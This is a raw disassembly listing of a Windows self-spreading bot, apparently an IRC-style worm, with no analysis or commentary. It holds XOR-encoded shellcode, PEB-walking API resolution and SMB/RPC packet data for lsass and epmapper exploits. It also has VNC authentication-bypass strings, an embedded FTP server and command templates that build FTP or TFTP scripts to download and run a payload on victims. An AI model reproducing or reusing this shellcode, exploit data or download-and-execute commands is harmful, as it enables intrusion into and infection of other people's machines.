U T I N E ======================================= sub_432310 proc near ; DATA XREF: ___:0040D5CDo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_432362 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_43232D: ; CODE XREF: sub_432310+38j jecxz short loc_43235D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432338: ; CODE XREF: sub_432310+32j lodsb test al, al jz short loc_432344 ror edx, 0Dh add edx, eax jmp short loc_432338 ; --------------------------------------------------------------------------- loc_432344: ; CODE XREF: sub_432310+2Bj cmp edx, [esp+arg_0] jnz short loc_43232D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43235D: ; CODE XREF: sub_432310:loc_43232Dj mov [esp+arg_0], ebx retn sub_432310 endp ; =============== S U B R O U T I N E ======================================= sub_432362 proc near ; CODE XREF: sub_432310+7p ; FUNCTION CHUNK AT 0043239A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43237B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_432386 ; --------------------------------------------------------------------------- loc_43237B: ; CODE XREF: sub_432362+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_432386: ; CODE XREF: sub_432362+14j pop edi xor esi, esi pusha push esi jmp short loc_43239A sub_432362 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43238D proc near ; CODE XREF: sub_432362:loc_43239Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43238D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432362 loc_43239A: ; CODE XREF: sub_432362+29j call sub_43238D loc_43239F: ; DATA XREF: sub_40CD9E+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_432362 ; --------------------------------------------------------------------------- dw 0 dword_4323A4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o dword_4323B0 dd 30h ; DATA XREF: sub_40CD9E+2CAo dword_4323B4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo dword_4323B8 dd 3 ; DATA XREF: sub_40CD9E+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o align 4 loc_4323C4: ; DATA XREF: sub_40CD9E+E8o jmp short near ptr dword_4323CC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4323CC dd 0 ; CODE XREF: ___:loc_4323C4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D5F4o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_432434 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E02Do ; ___:0040E167o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_432480 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCF9+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4327E4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o dd 20h, 5C005Ch, 0 off_4327F8 dd offset aEmant ; DATA XREF: sub_40DCF9+15Do ; "emant" dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 align 8 dword_432838 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_43286C dd offset word_580046 ; DATA XREF: sub_40DCF9+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░' db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░' db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0 dword_432948 dd 10016C6h ; DATA XREF: sub_40DCF9+104o dword_43294C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo off_432950 dd offset dword_5C005C ; DATA XREF: sub_40DB5E+1Co ; sub_40DC41+16o align 8 off_432958 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co ; sub_40DC41+Bo dd offset aLandes ; "Landes" dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o ; ___:0040E99Eo ... align 10h aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do align 10h jmp short loc_4329D2 ; =============== S U B R O U T I N E ======================================= sub_4329C2 proc far ; CODE XREF: sub_4329C2:loc_4329D2p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4329CA: ; CODE XREF: sub_4329C2+Cj xor byte ptr [ebx+ecx], 99h loop loc_4329CA jmp short loc_4329D7 ; --------------------------------------------------------------------------- loc_4329D2: ; CODE XREF: ___:004329C0j call near ptr sub_4329C2 loc_4329D7: ; CODE XREF: sub_4329C2+Ej jo short loc_432A3B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_432A59 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_432A3B: ; CODE XREF: sub_4329C2:loc_4329D7j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_432A59: ; CODE XREF: sub_4329C2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_4329C2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_432B00: ; DATA XREF: sub_40E3F1+156o ; sub_40E3F1+212o jmp short loc_432B12 ; =============== S U B R O U T I N E ======================================= sub_432B02 proc near ; CODE XREF: sub_432B02:loc_432B12p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_432B0A: ; CODE XREF: sub_432B02+Cj xor byte ptr [edx+ecx], 99h loop loc_432B0A jmp short loc_432B17 ; --------------------------------------------------------------------------- loc_432B12: ; CODE XREF: ___:loc_432B00j call sub_432B02 loc_432B17: ; CODE XREF: sub_432B02+Ej jo short near ptr dword_432A90+1Eh cwde cdq cdq retn sub_432B02 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_432BB0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40E3F1+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_432C98 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040E8A6o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432D24 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8D2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_432DD0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8F9o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_432EB0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40E3F1+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_432F14 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_432F80 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_433024 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4330A4 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_433138 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4331A4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_433218 dd 0 ; DATA XREF: sub_40E3F1+35Fo dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 2 dup(0) word_4332A0 dw 0AD9Dh ; DATA XREF: sub_40E292+30r ; sub_40E3F1+E7r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4332E0 dd 1004600h ; DATA XREF: sub_40E3F1+140r ; sub_40E3F1+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40E292+BCo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o ; --------------------------------------------------------------------------- loc_433418: ; DATA XREF: sub_40E3F1+177o jmp short loc_433420 ; --------------------------------------------------------------------------- jmp short loc_433422 ; --------------------------------------------------------------------------- align 10h loc_433420: ; CODE XREF: ___:loc_433418j ; DATA XREF: sub_40E3F1+27o pop esp pop esp loc_433422: ; CODE XREF: ___:0043341Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_43342C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr dword_433430 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r dword_433434 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9FB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o align 4 word_4346EC dw 1 ; DATA XREF: ___:0040EC29r ; sub_41B55B+24r ... align 10h dword_4346F0 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_41A1B1+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferCom db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:004387F8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00438804o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_2 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4349D4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4349FC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo ; sub_41AA1E+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o ; sub_41AF8F+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo align 4 unk_434C1C db 2Dh ; - ; DATA XREF: sub_4100B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh 